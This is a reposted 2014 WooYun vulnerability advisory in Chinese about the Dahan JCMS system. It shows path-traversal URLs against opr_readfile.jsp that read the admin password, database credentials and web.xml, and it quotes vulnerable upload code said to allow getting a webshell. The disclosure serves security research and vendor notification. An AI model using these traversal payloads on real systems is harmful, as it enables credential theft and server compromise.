大汉版通系统任意文件读取getshell

admin 2015年6月4日01:20:42评论476 views字数 243阅读0分48秒阅读模式
摘要

2014-08-29: 细节已通知厂商并且等待厂商处理中
2014-08-29: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-10-23: 细节向核心白帽子及相关领域专家公开
2014-11-02: 细节向普通白帽子公开
2014-11-12: 细节向实习白帽子公开
2014-11-24: 细节向公众公开

漏洞概要 关注数(12) 关注此漏洞

缺陷编号: WooYun-2014-74283

漏洞标题: 大汉版通系统任意文件读取getshell 大汉版通系统任意文件读取getshell

相关厂商: 南京大汉网络有限公司

漏洞作者: 路人甲

提交时间: 2014-08-29 10:20

公开时间: 2014-11-24 10:22

漏洞类型: 任意文件遍历/下载

危害等级: 高

自评Rank: 10

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 任意文件读取利用 文件操作参数未加过滤 敏感信息泄露

3人收藏


漏洞详情

披露状态:

2014-08-29: 细节已通知厂商并且等待厂商处理中
2014-08-29: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-10-23: 细节向核心白帽子及相关领域专家公开
2014-11-02: 细节向普通白帽子公开
2014-11-12: 细节向实习白帽子公开
2014-11-24: 细节向公众公开

简要描述:

大汉版通系统任意文件读取getshell

详细说明:

大汉版通jcms系统任意文件读取,可以直接获取管理员账号,密码明文、数据库密码明文、配置信息等非常敏感的信息,可以轻松实现无任何限制获取webshell...

漏洞出现在以下连接:

/jcms/jcms_files/jcms1/web1/site/module/comment/opr_readfile.jsp

1)获取管理员密码明文

http://**.**.**.**/jcms/jcms_files/jcms1/web1/site/module/comment/opr_readfile.jsp?filename=../../../../../../WEB-INF/ini/merpserver.ini

大汉版通系统任意文件读取getshell

2)获取数据库密码明文

大汉版通系统任意文件读取getshell

3)获取配置文件敏感信息

http://**.**.**.**/jcms/jcms_files/jcms1/web1/site/module/comment/opr_readfile.jsp?filename=../../../../../../WEB-INF/web.xml

大汉版通系统任意文件读取getshell

获取管理员密码后,可直接通过截断获取shell,缺陷代码如下

code 区域
if(request.getMethod().toUpperCase().equals("POST")){    
Jcms_UpdaterecordBLF blf = new Jcms_UpdaterecordBLF("1");
Jcms_Update_RecordEntity entity = new Jcms_Update_RecordEntity();
//解压路径
String strFilePath = strSysPath + "/update/";
//zip文件上传的临时目录
String strTemp = strFilePath + "temp/";
Convert.createDirectory(strTemp);
//建立上传
upload = new CommonUploadFile( strTemp ,"");
try{
//上传zip包
boolean bResult = upload.uploadFile(request);
String[] strFileName = upload.getAllFileName();
strBakPath = upload.getFormValue("vc_bakPath");
strBakPath = Convert.getValue(strBakPath);
strBakPath = (strBakPath.trim().length() == 0) ? strFilePath : strBakPath;
strBakPath = strBakPath.replaceAll("////","/");
if(strBakPath.endsWith("/") || strBakPath.endsWith("//"))
strBakPath = strBakPath.substring(0,strBakPath.length()-1);
strBakPath = strBakPath+"/bak/";
//创建备份目录
Convert.createDirectory(strBakPath);
ZipFile zip = new ZipFile();
//解压zip包
boolean bl = zip.unzip( true,strTemp + strFileName[0].trim(),strFilePath );
String strDate = DateFormat.getStrCurrentDate(DateFormat.LONG_DATE_TIME);
//zip包名
String strZipName = strFileName[0].substring(0,strFileName[0].lastIndexOf(".zip"));
if( bResult && bl){
entity.setVc_packagename(strZipName);
entity.setVc_spath(strFilePath);
entity.setVc_bpath(strBakPath);
entity.setC_createtime(strDate);
entity.setI_flag(1);
entity.setVc_status("未执行");
entity.setB_cancel(0);
bl = blf.doInsert(entity);
}
if( !bl ){
LogWriter.error( "ERROR: mark record!" );
}else{
//删除上传的zip文件
jcms.util.FileUtil.deleteFolder(strTemp);
}
}catch(Exception e){
LogWriter.error("ERROR: "+e.toString());
}
out.println(Convert.getAlterScript("alert('上传成功!');"));
out.println(Convert.getAlterScript("top.location.reload();"));
return;
}// End if
%>

漏洞证明:

得到管理员密码后,获取到shell截图如下

大汉版通系统任意文件读取getshell

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-11-24 10:22

厂商回复:

问题重复,已经在新版本中修复

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-08-29 10:51 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)

    1

    早日公开求围观

  2. 2014-08-29 11:33 | GsAn ( 路人 | Rank:16 漏洞数:13 | Whoami)

    0

    这个叼

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin